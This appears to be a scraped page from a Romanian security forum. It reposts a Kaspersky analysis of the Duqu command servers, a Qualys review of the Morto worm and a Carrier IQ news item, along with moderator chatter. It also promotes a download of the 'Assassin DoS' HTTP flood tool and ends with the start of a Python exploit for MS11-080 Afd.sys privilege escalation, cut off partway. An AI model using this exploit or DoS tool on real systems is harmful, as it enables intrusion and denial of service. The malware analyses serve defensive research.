Nytro

The Mystery of Duqu: Part Six (The Command and Control servers) VitalyK Kaspersky Lab Expert Posted November 30, 15:10 GMT Over the past few weeks, we have been busy researching the Command and Control infrastructure used by Duqu. It is now a well-known fact that the original Duqu samples were using a C&C server in India, located at an ISP called Webwerks. Since then, another Duqu C&C server has been discovered which was hosted on a server at Combell Group Nv, in Belgium. At Kaspersky Lab we have currently cataloged and identified over 12 different Duqu variants. These connect to the C&C server in India, to the one in Belgium, but also to other C&C servers, notably two servers in Vietnam and one in the Netherlands. Besides these, many other servers were used as part of the infrastructure, some of them used as main C&C proxies while others were used by the attackers to jump around the world and make tracing more difficult. Overall, we estimate there have been more than a dozen Duqu command and control servers active during the past three years. Before going any further, let us say that we still do not know who is behind Duqu and Stuxnet. Although we have analyzed some of the servers, the attackers have covered their tracks quite effectively. On 20 October 2011 a major cleanup operation of the Duqu network was initiated. The attackers wiped every single server they had used as far back as 2009 – in India, Vietnam, Germany, the UK and so on. Nevertheless, despite the massive cleanup, we can shed some light on how the C&C network worked. [h=3]Server ‘A’ – Vietnam[/h] Server ‘A’ was located in Vietnam and was used to control certain Duqu variants found in Iran. This was a Linux server running CentOS 5.5. Actually, all the Duqu C&C servers we have found so far run CentOS – version 5.4, 5.5 or 5.2. It is not known if this is just a coincidence or if the attackers have an affinity (exploit?) for CentOS 5.x. When we began analyzing the server image, we first noticed that at least the ‘root’ folder and the system log files folder ‘/var/log/’ had a ‘last modified’ timestamp of 2011-10-20 18:07:28 (UTC+3). However, both folders were almost empty. Despite the modification date/time of the root folder, there were no files inside modified even close to this date. This indicates that certain operations (probably deletions / cleaning) took place on 20 October at around 18:07:28 GMT+3 (22:07:28 Hanoi time). Interestingly, on Linux it is sometimes possible to recover deleted files; however, in this case we couldn’t find anything. No matter how hard we searched, the sectors where the files should have been located were empty and full of zeroes. By bruteforce scanning the slack (unused) space in the ‘/’ partition, we were able to recover parts of the ‘sshd.log’ file. This was kind of unexpected and it is an excellent lesson about Linux and the ext3 file system internals; deleting a file doesn’t mean there are no traces or parts, sometimes from the past. The reason for this is that Linux constantly reallocates commonly used files to reduce fragmentation. Hence, it is possible to find parts of older versions of a certain file, even if they were thoroughly deleted. As can be seen from the log above, the root user logged in twice from the same IP address on 19 July and 20 October. The latter login is quite close to the last modified timestamps on the root folder, which indicates this was the person responsible for the system cleanup – bingo! So, what exactly was this server doing? We were unable to answer this question until we analyzed server ‘B’ (see below). However, we did find something really interesting. On 15 February 2011 openssh-5.8p1 (the sourcecode) was copied to the machine and subsequently installed. The distribution is “openssh_5.8p1-4ubuntu1.debian.tar.gz” with an MD5 of ‘86f5e1c23b4c4845f23b9b7b493fb53d’ (stock distribution). We can assume the machine has been running openssh-4.3p1 as included in the original distribution of CentOS 5.2. On 19 July 2011 OpenSSH 5.8p2 was copied to the system. It was compiled and binaries were installed into folders (/usr/local/sbin). The OpenSSH distribution was again the stock one. The date of 19 July is important because it indicates when the new OpenSSH 5.8p2 was compiled in the system. Just after that, the attackers logged in, probably to check if everything was OK. One good way of looking at the server is to check the file deletions and to put them into an activity graph. On days when there was notable operations going on, you see a spike: For our particular server, several spikes immediately raise suspicions: 15 February and 19 July, when new versions of OpenSSH were installed; 20 October, when the server cleanup took place. Additionally, we found spikes on 10 February and 3 April, when certain events took place. We were able to identify “dovecot” crashes on these dates, although we can’t be sure they were caused by the attackers (“dovecot” remote exploit?) or simply instabilities. Of course, for server ‘A’, three big questions remain: How did the attackers get access to this computer in the first place? What exactly was its purpose and how was it (ab-)used? Why did the attackers replace the stock OpenSSH 4.3 with version 5.8? We will answer some of these at the end. [h=3]Server ‘B’ – Germany[/h] This server was located at a data center in Germany that belongs to a Bulgarian hosting company. It was used by the attackers to log in to the Vietnamese C&C. Evidence also seems to indicate it was used as a Duqu C&C in the distant past, although we couldn’t determine the exact Duqu variant which did so. Just like the server in Vietnam, this one was thoroughly cleaned on 20 October 2011. The “root” folder and the “etc” folder have timestamps from this date, once again pointing to file deletions / modifications on this date. Immediately after cleaning up the server, the attackers rebooted it and logged in again to make sure all evidence and traces were erased. Once again, by scanning the slack (unused) space in the ‘/’ partition, we were able to recover parts of the ‘sshd.log’ file. Here are the relevant entries: First of all, about the date – 18 November. Unfortunately, “sshd.log” doesn’t contain the year. So, we can’t know for sure if this was 2010 or 2009 (we do know it was NOT 2011) from this information alone. We were, however, able to find another log file which indicates that the date was 2009: What you can see above is a fragment of a “logwatch” entry which indicates the date of breach to be 23 November 2009, when the root user logged in from the IP address from 19 November, in the “sshd.log”. The other two messages are also important – they are errors from “sshd” indicating a port 80 and port 443 redirection was attempted; however, they were already busy. So now we know how these servers were used as C&C – port 80 and port 443 were redirected over sshd to the attackers’ server. These Duqu C&C were never used as true C&C – instead they were used as proxies to redirect traffic to the real C&C, whose location remains unknown. Here’s what the full picture looks like: [h=3]Answering the questions[/h] So, how did these servers get hacked in the first place? One crazy theory points to a 0-day vulnerability in OpenSSH 4.3. Searching for “openssh 4.3 0-day” on Google finds some very interesting posts. One of them is (https://www.webhostingtalk.com/showthread.php?t=873301): This post from user “jon-f”, which dates back to 2009, indicates a possible 0-day in OpenSSH 4.3 on CentOS; he even posted sniffed logs of the exploit in action, although they are encrypted and not easy to analyze. Could this be the case here? Knowing the Duqu guys and their never-ending bag of 0-day exploits, does it mean they also have a Linux 0-day against OpenSSH 4.3? Unfortunately, we do not know. If we look at the “sshd.log” from 18 November 2009, we can, however, get some interesting clues. The “root” user attempts to log in using a password multiple times from an IP in Singapore, until they finally succeed: Note how the “root” user tries to login at 15:21:11, fails a couple of times and then 8 minutes and 42 seconds later the login succeeds. This is more of an indication of a password bruteforcing rather a 0-day. So the most likely answer is that the root password was bruteforced. Nevertheless, the third question remains: Why did the attackers replace the stock OpenSSH 4.3 with version 5.8? On the server in Germany we were able to recover parts of the “.bash_history” file just after the server was hacked: The relevant commands are “yum install openssh5”, then “yum update openssh-server”. There must be a good reason why the attackers are so concerned about updating OpenSSH 4.3 to version 5. Unfortunately, we do not know the answer to this question. On an interesting note, we observed that the attackers are not exactly familiar with the “iptables” command line syntax. Additionally, they are not very sure about the “sshd_config” file format either, so they needed to bring up the manual for it (“man sshd_config”) as well as for the standard Linux ftp client. What about the “sshd_config” file, the sshd configuration”? Once again, by searching the slack space we were able to identify what they were after. In particular, they changed the following two lines: GSSAPIAuthentication yes UseDNS no While the second one is relevant for speed, especially when performing port direction over tunnels, the first one enables Kerberos authentication. We were able to determine that in other cases exactly the same modifications were applied. [h=3]Conclusion:[/h] We have currently analyzed only a fraction of the available Duqu C&C servers. However, we were able to determine certain facts about how the infrastructure operated: The Duqu C&C servers operated as early as November 2009. Many different servers were hacked all around the world, in Vietnam, India, Germany, Singapore, Switzerland, the UK, the Netherlands, Belgium, South Korea to name but a few locations. Most of the hacked machines were running CentOS Linux. Both 32-bit and 64-bit machines were hacked. The servers appear to have been hacked by bruteforcing the root password. (We do not believe in the OpenSSH 4.3 0-day theory - that would be too scary!) The attackers have a burning desire to update OpenSSH 4.3 to version 5 as soon as they get control of a hacked server. A global cleanup operation took place on 20 October 2011. The attackers wiped every single server which was used even in the distant past, e.g. 2009. Unfortunately, the most interesting server, the C&C proxy in India, was cleaned only hours before the hosting company agreed to make an image. If the image had been made earlier, it’s possible that now we’d know a lot more about the inner workings of the network. The “real” Duqu mothership C&C server remains a mystery just like the attackers’ identities. We would also like to send a question to Linux admins and OpenSSH experts worldwide – why would you update OpenSSH 4.3 to version 5.8 as soon as you hack a machine running version 4.3? What makes version 5.8 so special compared to 4.3? Is it related to the option “GSSAPIAuthentication yes” in the config file? We hope that through cooperation and working together we can cast more light on this huge mystery of the Duqu Trojan. Kaspersky Lab would like to thank the companies PA Vietnam, Nara Syst and the Bulgarian CyberCrime unit for their kind support in this investigation. This wouldn’t have been possible without their cooperation. You can contact the Kaspersky Duqu research team at “stopduqu AT Kaspersky DOT com”. Sursa: http://www.securelist.com/en/blog/625/The_Mystery_of_Duqu_Part_Six_The_Command_and_Control_servers

Morto Architecture Review Posted by pdrimel on Nov 11, 2011 7:26:29 PM Introduction Morto is a self-replicating malware, i.e. a worm that exploits Windows servers with weak passwords through the Remote Desktop Protocol (RDP). It was first detected in July of 2011 and was held responsible for a 200-fold increase in RDP scanning activity from approximately 500 sources to over 100,000 sources [10]. In typical malware fashion it looks for common security software and disables their function, once it has successfully infiltrated the machine. Then it connects to its command & control server to wait for instructions and receive software updates. Even though the number of Morto infections was not considered high [3] [6] compared to other notorious malware types, Morto has interesting algorithms in its internals, and this article will focus on of them. Also, there was rumor [11] about a possible version of Morto and this will be discussed in the section titled Morto Variant. More details about Morto’s history and its activities can be found at [1] and [2]. Architecture Morto can be divided in three components, as shown in Figure 1. The dropper is the executable file, which, in order to call the loader, drops the embedded malicious DLL into the system and calls regedit.exe, which is the application that executes the loader. Once the loader is executed, it creates a service in the system and drops another malicious DLL, which is then called by the malicious service. This second DLL is responsible to call the payload. Most of the available public analysis, such as [1] and [2], describe Morto's activities and its three components: dropper, loader and payload. However, little is known about how the components are interacting between them. This article will focus on how the dropper and loader work in conjunction to execute the payload. In particular we will analyze and answer the following questions regarding Morto: Why delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, which stores the list of executed programs through the run dialog? How is regedit actually executed in order to load malicious DLLs? How does the loader execute the payload? What is sens32.dll? What is HKLM\SYSTEM\WPA\sn? Why is it called “Morto”, which means dead in Portuguese? Actually, we don't know the answer to that one. In the next sections, each component will be described in more details focusing on its internal algorithms. Dropper MD5 2eef4d8b88161baf2525abfb6c1bac2b SHA1 0bbb014657bf4459faa2e6faf11d0559b196187c The dropper is divided in three parts as shown in Figure 2. Part one removes obfuscation in the data section, turning it into a “plain” code which is executed later by the entire malware. Part two stores data into the registry which is used later by the malware. Finally, part three drops the loader into the system and executes “regedit.exe”. The three parts are described in more details below. Dropper - Part one It starts by allocating memory through ZwAllocateVirtualMemory and copying itself into this area. At this time, the code in memory is obfuscated, and being so, Morto will then de-obfuscate the code and copy the “plain” code to another memory area, allocated through VirtualAlloc. Now, the code is ready to be executed, and Morto finally calls it. Dropper - Part two Part two calculates a random number using function GetTickCount, srand and rand, which is then stored in HKLM\SYSTEM\WPA\id. It then attempts to read HKLM\SYSTEM\WPA\md which does not exist yet, on a non-infected machine. It continues its execution by allocating memory and copying obfuscated data into it, which is later stored in HKLM\SYSTEM\WPA\md. Also, another block of memory is allocated and a DLL is copied into it. Then, it executes GetSystemTime and stores its results in HKLM\SYSTEM\WPA\it as well as creates a file under c:\windows\offline web pages\ with its name based on GetSytemTime. Once the plain code execution finishes, a call is made to a function which receives “Drop” as its parameter. This function returns an address which is the third part of the dropper, that will be discussed in the next section. It is interesting here that the malware itself confirms that it will “drop” something onto the system calling that function. Figure 3 shows the call to the function which received “Drop” as a parameter. Dropper – Part three Part three of the dropper starts by attempting to create a file in \\tsclient\a\ whose name is constructed by a fixed prefix ID plus the random value obtained in part two, which was saved in registry key HKLM\SYSTEM\WPA\id. The malware does not even check if a RDP session is opened or if the drive is already mapped: an attempt to create this file could be a way to check if the system is already infected, but since the ID is random this might not be the case. It then deletes the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU, but the reason for that is still unclear. Next, it creates the registry key HKLM\SYSTEM\WPA\md and adds to it the data that was allocated in part two: this seems to be the payload. Then the DLL c:\windows\clb.dll is created, using the data copied by part one, and its MAC times (modification time, access time and creation time) are changed based on the valid DLL c:\windows\wmi.dll. This is used to fool an analyst who would look for last changed files on the system. Figure 4 shows malicious DLL c:\windows\clb.dll after the MAC times change. Finally, regedit is executed to load the malicious DLL c:\windows\clb.dll. This is when things gets really interesting. Instead of just calling regedit.exe through common functions such as System, the dropper enumerates windows until finds a run dialog window, then changes its text to regedit.exe and clicks on button “OK”. The user does not see any window opening; however, if we open run dialog ourselves, regedit.exe is clearly visible. Figure 5 shows run dialog window before button “OK” is executed. The use of the run dialog window explains why it previously deleted registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU which lists the commands executed through the run dialog. Before we continue with the loader analysis, it is important to understand how the malicious DLL clb.dll, which is placed under c:\windows, is executed by regedit. This is done by the search order which Windows looks for DLL as described at [4] and explained from a malware standpoint at [5]. But basically, once an application loads a DLL, if its name is not listed under HKLM\System\CurrentControlSet\Control\Session Manager\KnownDLLs, Windows operating system will check on the application’s path. Since clb.dll is not listed under the KnownDLLs registry key and regedit.exe is placed under c:\windows, it will look for clb.dll under c:\windows directory and execute its version of the clb.dll, that is the malicious one, instead of the original c:\windows\system32\clb.dll. Using the sysinternals tool [7] procmon we can clearly see the malicious DLL clb.dll getting executed by regedit.exe, as depicted by Figure 6. Loader The loader is also divided in three parts, as shown in Figure 7. Part one checks if the calling process is rundll32.exe, which is responsible for load DLLs into the system, and tries to open an existing file probably for Morto to check if the system has been already infected. Part two has the same function as dropper’s part two; however in this case, it reads the registry key HKLM\SYSTEM\WPA\md. Part three simply calls the payload. The next sections will describe the three loader parts. Loader – Part one First, the loader checks if the calling process is rundll32.exe. Since I executed the loader through OllyDBG debugger [8], loaddll.exe was used instead of rundll32.exe because loaddll.exe lets us debug a DLL instead of just execute it such as rundll32.exe. But on the payload, Morto executes rundll32.exe in order to execute malicious DLL on an infected system. If this part was called by rundll32.exe, the malware would try to open the existing file \\tsclient\a\moto, which where the name Morto came from and that is most likely to be used to check if system has been already infected. It also reads the first 4 bytes of c:\windows\winhlp32.exe, but if it does not exist, it tries to read the first 4 bytes of c:\windows\system32\write.exe. The first 4 bytes are 0x4D, 0x5A, 0x90, 0x00, which are common for every PE file. One may initially thought that such bytes would be inserted at beginning of HKLM\SYSTEM\WPA\md to and make it an executable. However, that was not the case, and so those 4 bytes might be used by the payload itself for another reason that is still unclear or they are were just another trick used by the author to fool the analyst. Loader – Part two The part two has almost the same function as the dropper’s part two: the only difference is that here the HKLM\SYSTEM\WPA\md already exists and its contents are read and placed into a buffer. Again, a call is made to a function which returns the address for where the execution will be jumped to and represents the part three. Regarding the parameter, at this time the string “Load” is used as parameter instead of “Drop”: this parameters shows that the malware is attempting to execute the loader. Loader – Part three Part Three deletes again the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU and then copies the valid file c:\windows\system32\wmi.dll to c:\windows\temp\ntshrui.dll. Then, a service named “6to4” is created which is the first string returned by a query on HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs. The binary path of service is set to C:\WINDOWS\system32\svchost.exe –k netsvcs, and then the service parameter is changed to c:\windows\temp\ntshrui.dll. After that, the real malicious c:\windows\temp\ntshrui.dll is created. At this time, we have a service created that, when executed, loads another malicious DLL that seems to be the payload. Figure 8 shows the malicious service created while on stopped state. Before the potential payload (DLL c:\windows\temp\ntshrui.dll) gets executed, the loader still changes some configuration on the service Sens, which is responsible for monitor system events [9], loader will first copy the valid file c:\windows\system32\sens.dll to c:\windows\system32\Sens32.dll, change HKLM\SYSTEM\CurrentControlSet\Services\Sens\DependOnService to NULL and HKLM\SYSTEM\CurrentControlSet\Services\Sens\Group to SchedulerGroup, and finally lastly modify the parameter stored at HKLM\SYSTEM\CurrentControlSet\Services\Sens\Parameters\ServiceDll to c:\windows\system32\sens32.dll. This service might be used later by the payload. Looking at ntshrui.dll, it is clear how the payload is executed: Morto checks if the calling process is svchost.exe and, if so, another part of the plain code is called and a thread is created pointing to the real payload. Morto Variant MD5 4a15bb80d860afff0164baa7bf99285c SHA1 3d2704e55637bf8460d3e16ac5bacd71b2d18a45 There was a rumor about a new Morto variant [11], we executed and analyzed it but concluded it is innocuous since it does not perform any change on the system, nor any network activity. Also, the malware does not check if it is running on a virtual environment or any other thing that would make it not execute. Probably, it was considered a possible Morto variant for two reasons: It creates a Mutex object [12], which is commonly used by malware to check if a machine has been already infected, with the name “_MOTOCCATK_”. Figure 9 shows assembly code responsible to create Mutex. It reads contents from the HKLM\SYSTEM\WPA registry key which is used by Morto. Figure 10 shows Morto variant reading the registry key HKLM\SYSTEM\WPA. Then, we developed a little tool named check_mutex.exe which helps detect malware that uses mutex. Basically, once a malicious mutex is known, just run check_mutex.exe passing the malicious mutex name as a parameter, and it will check if a process is running with the given mutex name, and if so, it will display its process ID. Then, even though Morto variant does not attempt to harm the system, we put a breakpoint after a call is made to CreateMutexA function and executed check_mutex on the system to make sure it is working properly. Figure 11 shows check_mutex in execution. Thanks to ISC Handlers who provided us sample for analysis. Thanks to @Ivanlef0u who developed code to list handles, and made it public, which helped a lot on check_mutex development. Conclusion Despite its interesting payload, the way Morto is executed is also very interesting. First, placing a malicious DLL into %SystemRoot% directory and calling the valid executable regedit.exe instead of a malicious executable is an interesting choice of execution, probably designed to bypass malware detection algorithms. Second, the way that it executes regedit.exe is uncommon, most likely used to avoid detection as well. Third, it uses another malicious DLL as a service to get it executed. In conclusion, as malware evolves we need to make sure protection mechanisms are in place to detect such behaviors, not only analyzing its payload but also how it gets executed. This will allow us to develop mechanisms to defend against these threats independently of its activities. References [1] http://www.f-secure.com/v-descs/worm_w32_morto_a.shtml [2] Encyclopedia entry: Worm:Win32/Morto.A - Learn more about malware - Microsoft Malware Protection Center [3] More on Morto - Microsoft Malware Protection Center - Site Home - TechNet Blogs [4] Dynamic-Link Library Search Order [5] https://blog.mandiant.com/archives/1207 [6] Morto: RDP worm of death? | Naked Security [7] Sysinternals - Windows Sysinternals: Documentation, downloads and additional resources Meet “Morto the Magic Worm” - Security Labs [8] http://www.ollydbg.de/ [9] http://msdn.microsoft.com/en-us/library/aa940303(v=winembedded.5).aspx [10] ISC Diary | Increased Traffic on Port 3389 [11] ISC Diary | More RDP Worm Variants? [12] http://msdn.microsoft.com/en-us/library/windows/desktop/ms684266(v=vs.85).aspx Morto: More than Meets the Eye - SpiderLabs Anterior contagio: Aug 28 Morto / Tsclient - RDP worm with DDoS features Windows Remote Desktop Worm "Morto" Spreading - F-Secure Weblog : News from the Lab Sursa: https://community.qualys.com/blogs/securitylabs/2011/11/11/morto-architecture-review

Steve Jobs Was Right, Android Logs Everything By John Brownlee (7:47 am, Nov 30) Back in April, Apple had a bit of a PR problem when it was discovered that iPhones were storing a cache of data on which GPS locations that handset had visited in an unencrypted file. The whole thing was just a bug, but the controversy was dubbed LocationGate, and Apple even had to testify in front of the Senate about the matter. The whole fiasco even prompted an email from Steve Jobs, which dropped something of a bombshell: he said Apple doesn’t track anyone’s location, but that Android tracked everyone. At the time, there wasn’t a lot of proof to back up Steve’s assertion, but as it often does, time has proven Steve Jobs right. Android phones do track you. In fact, software that comes pre-installed on millions of Android, BlackBerry and Nokia phones log everything you do with your device, and sends them off secretly to its own servers. 25-year-old Android developer Trevor Eckhart has discovered a piece of software that comes installed on most Android, BlackBerry and Nokia phones called Carrier IQ secretly logs everything a user does with his or her phone, including text messages, encrypted web searches, phone calls, location and, well, you name it. What is Carrier IQ? Ostensibly, it is software meant to monitor a user’s experience with a phone so that carriers and phone manufacturers can do quality control. However, Eckhart calls the software a “rootkit,” which prompted Carrier IQ to threaten him with a huge lawsuit and deny that its software logs keystrokes. To see how invasive Carrier IQ is, a video posted by Eckhart shows that the software not only intercepts encrypted web searches, but logs each number as he dials it, and even received or sent text messages. Once logged, Carrier IQ then sends all of this data to its own servers. That’s incredible. One privately held company that almost no one has ever heard of has the complete logs of every email, phone call, web search and text message ever sent or received by millions of Android, Blackberry and Nokia users. Absolutely insane. Even worse? There’s no way to opt out of the Carrier IQ “service.” On Android phones, your only choice is to root your phone and replace the operating system with one without the software pre-installed. This is absolutely insane. Apple was practically crucified over LocationGate, which was just a cache of GPS locations stored on users’ home machines. Meanwhile, almost every Android phone out there is reading people’s emails and logging their passwords, while no one bats an eye. [via Threat Level] Sursa: Steve Jobs Was Right, Android Logs Everything | Cult of Mac

Assassin DoS 2.0.3 - Created By MaxPainCode MaxPainCode develop a new dos tool is based on a new attack that uses HTTP Flood to get the site down, this will work if you try with big dedicated server. Another Feature of Assassin DoS is that it will not take all your resources as the most DoS do. Also its like only 100 mili seconds delay when hitting the target and its available for windows. Same Issue is Discussed with Microsoft Security Response Center by Developer of This tool. Download: http://www.4shared.com/file/h1hRW1Tn/Assassin_DoS_203.html Sursa: http://thehackernews.com/2011/11/assassin-dos-203-created-by-maxpaincode.html

Sa speram ca o sa te adaptezi. Bun venit.

Momentan intampinam mici probleme tehnice. Nu au fost sterse conturi/topicuri, ci au fost niste probleme (cu baza de date) si am pus un backup de azi de la ora 12:00 parca. Din aceasta cauza au disparut utilizatori si topicuri. Acum ar trebui sa fie ok, dar e posibil sa mai apara astfel de probleme. Dar se va rezolva (tex rullz) in cel mai scurt timp posibil. V-as ruga sa nu imi mai trimiteti PM pentru orice problema si sa postati aici sau in topicul cu "RST upgrade", pentru a fi mai usor de sesizat toate problemele.

O sa mai incerc azi sa repar o parte dintre probleme (apoi ma ocup si de sugestii, de culori si altele). Vreau insa ca cei carora le apare acel chenar verde sa isi reinstaleze browserul si sa imi spuna daca apare la fel dupa reinstalare. La culori mai sunt multe de modificat, dar le iau la rand.

Nu, acela e un bot, il logheaza pe gmail ca sunt cateva linii de cod in C# si trimite mail cu acel cont. Dar asta nu inseamna ca nu e infectat. Daca nu porneste foarte probabil e infectat.

Da, si mie mi se pare ciudat: C:\Users\Ionut>ping l33t.ro Pinging l33t.ro [127.0.0.1] with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Perfect. Multumim pentru feedback, dar imi e lene sa mai repar din ele asta-seara, maine o sa ma ocup de ce pot. Mai sunt si mici probleme temporare de la server, dar o sa se rezolve. V-as ruga sa dati un clear la cache de la browsere, am mai discutat cu cineva si dupa ce a reinstalat browserul nu au mai aparut problemele de dinainte.

Nu avem timp sa modificam si celelalte teme, doar RST Beta e cea de care ne ocupam.

Daca dai "Go advanced", ai posibilitatea de a selecta un titlu pentru post. Acel titlu apare acolo, ca aici. Vad ca tema are multe probleme, am reparat multe din ele, dar probabil inca sunt multe, de exemplu textul de la "Online list" pentru Guest sau Boti era de aceeasi culoare cu fundalul si tot asa. Daca gasiti astfel de probleme sa postati aici,

Aici: http://rstcenter.com/forum/usercp.php PS: "Lucrez" la partea cu Like-urile, e posibil ca temporar sa apara foarte urat, sper sa imi iasa ceva frumos, desi slabe sanse. Edit: Am facut modificari la partea grafica a Like-urilor (butonul de deasupra topicului). E ok cat timp nu sunt mai mult de 99 de like-uri. Daca sunt probleme cu el sa ma anuntati. Partea de sub post, cu "Edit post", "Reply", o las asa deocamdata. Am pus-o mai inchis si nu se mai vad iconitele din stanga. Oricum, mie imi place asa, dar spuneti daca vreti sa modific.

Par interesante, iti dau un PM.

Google's Android 4.0 ported to x86 processors Following ARM, an open-source project has ported Google's Android 4.0 to work on a tablet with an AMD chip Agam Shah (IDG News Service) 02 December, 2011 06:50 Google's open-source Android 4.0 operating system for smartphones and tablets has been ported to work with x86 processors, a member of an open-source project involved in the effort said this week. The source code of Android 4.0.1, which is code-named Ice Cream Sandwich, is for developers and designed to work with tablets based on Advanced Micro Devices' low-power x86 chips code-named Brazos, which are typically used in netbooks and low-end laptops. Some AMD chips are being used in tablets such as MSI's WindPad 110W. The port means that tablets with Android 4.0 based on x86 chips could be on the horizon. Intel is the top x86 chipmaker, and the company has already said it is working with Google to bring Android 4.0 to smartphones and tablets. The announcement was made on a discussion forum by Chih-Wei Huang, who belongs to Android-x86.org, a group of volunteer developers focusing on Android for x86. Google released the source code for Android 4.0 earlier this month. However, most of the Android OS development has been centered around ARM processors, which are used in most smartphones and tablets today. The Samsung Galaxy Nexus smartphone with Android 4.0 has already been released, and ARM-based device makers are promising upgrades on tablets and smartphones to Android 4.0 from Android 3.x, which is code-named Honeycomb. The port of Android 4.0.1 to x86 is still a work in progress. The source code, which is available for download on Android-x86.org, provides Wi-Fi, multitouch and hardware graphics acceleration capabilities. It does not provide sound, camera, Ethernet networking or hardware acceleration for Intel-based processors yet. MIPS, a competitive processor architecture to x86 and ARM, will also get Android 4.0 soon. A spokeswoman for MIPS Technologies, which licenses the architecture, earlier this month said the company was waiting for Google to open source the software so its engineers could port the OS. Sursa: http://www.techworld.com.au/article/409081/google_android_4_0_ported_x86_processors

Gata, uitasem de asta.

O sa mai modificam culorile la tema si sa repara micile probleme care apar. @Anonimul: Da, am modificat multe lucruri, dar totul e ok, doar ca vbSEO probabil isi creeaza un cache si de aceea dureaza cateva minute pana anumite link-uri devin active, adica a functionat ulterior fara sa fac nimic.

GNY Zine, Issue #6 ` ` ` ` ` `-sdy+-` `` .sd/` `/ho` `:hdo` `:hd. ``./sdMMMMMMmy+-` .+dy .oNMMMh. `omMMMmo``:y- `/dMMMMm: `/dMMMm. :hdNMMNdNNMMMMMMMMmhshNMMy +mMMMMMMN. .odNMMMMMMmdN/ `/dNNMMMMMN` `+dMMMMMMm` /MMMMMm `-+sdNMMMMMMMMMMMy ..:NMMMMMysh/ `+NMMMMMM: :h/`:MMMMMMoomh/hMMMMMMy /MMMMMm MMMMMM+::::. yMMMMMd: -MMMMMN MMMMMMMy- sMMMMMM- /MMMMMm MMMMMM- yMMMMM+ MMMMMN MMMMMMs mMMMMM/ /MMMMMm MMMMMM- yMMMMM+ MMMMMN MMMMMMo sMMMMM/ /MMMMMm MMMMMM- yMMMMM+ MMMMMN MMMMMMo yMMMMN` /MMMMMm MMMMMM- yMMMMM+ MMMMMN MMMMMMo NMMMM: /MMMMMm MMMMMM- yMMMMM+ MMMMMN MMMMMMo sMMMN- /MMMMMm MMMMMM- yMMMMM+ MMMMMN MMMMMMo oMMMh. /MMMMMm `MMMMMM- yMMMMM+ MMMMMN MMMMMMo `yMMh: /MMMMMN. `hMMMMMM- yMMMMMo MMMMMM MMMMMMo`+NNy- /MMMMMMNh/.+mdNMMMMMs :mMMMMMN: MMMMMMs./- MMMMMMdmh+` :yNMMMMMMNNo`-NMMMMMo .hMMMMMMMd. mMMMMMMms. :MMMMMdo. `/hNMMMh. -mMMMMMy` -yMMMh/` .hMMMmo. :NMNh+.` `sMm/ .hMMMMMm- -+-` `-o/` `yms/` -dMy.``` `+NMMMMN. `dh. `sNMNmmmmmmmdyo/::yMMMd` +M: `. /mMMMMMMMMMMMMMMMNNmmy/` Go Null Yourself E-Zine :Md:` `omN+ yNNdhyso++oosyhmNNho-` :yhhyssoshdh+` ...` ``..` Issue #6 - Fall/November 2011 ``......` www.GoNullYourself.org [==================================================================] 0x01 Introduction 0x02 Editorials 0x03 Floating Point Numbers Suck dan 0x04 duper's Code Corner duper 0x05 How Skynet Works: An Intro to Neural Networks elchupathingy 0x06 Defeating NX/DEP With return-to-libc and ROP storm 0x07 A New Kind of Google Mining Shadytel, Inc 0x08 Stupid Shell Tricks teh crew 0x09 An Introduction to Number Theory dan 0x0a Information Security Careers Cheatsheet Dan Guido 0x0b Interview with Dan Rosenberg (bliss) teh crew 0x0c Et Cetera, Etc. teh crew [==================================================================] Download: http://www.exploit-db.com/papers/18168/

O problema stupida cu paginarea, sa vad ce are... Se pare ca apar temporar probleme cu URL rewrite-ul, dar in cateva minute e totul Ok.

MS11-080 Afd.sys Privilege Escalation Exploit ################################################################################ ######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ######## ######### Author: ryujin@offsec.com - Matteo Memelli ######## ######### Spaghetti & Pwnsauce ######## ######### yuck! 0xbaadf00d Elwood@mac&cheese.com ######## ######### ######## ######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ######## ######### for helping out! ######## ######### ######## ######### To my Master Shifu muts: ######## ######### "So that's it, I just need inner peace?" ######## ######### ######## ######### Exploit tested on the following 32bits systems: ######## ######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ######## ################################################################################ from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER, c_char, c_short, c_ushort, c_int, c_uint, c_ulong, c_void_p, c_long, c_char_p) from ctypes.wintypes import HANDLE, DWORD import socket, time, os, struct, sys from optparse import OptionParser usage = "%prog -O TARGET_OS" parser = OptionParser(usage=usage) parser.add_option("-O", "--target-os", type="string", action="store", dest="target_os", help="Target OS. Accepted values: XP, 2K3") (options, args) = parser.parse_args() OS = options.target_os if not OS or OS.upper() not in ['XP','2K3']: parser.print_help() sys.exit() OS = OS.upper() kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi def findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None print "[>] MS11-080 Privilege Escalation Exploit" print "[>] Matteo Memelli - ryujin@offsec.com" print "[>] Release Date 28/11/2011" WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int 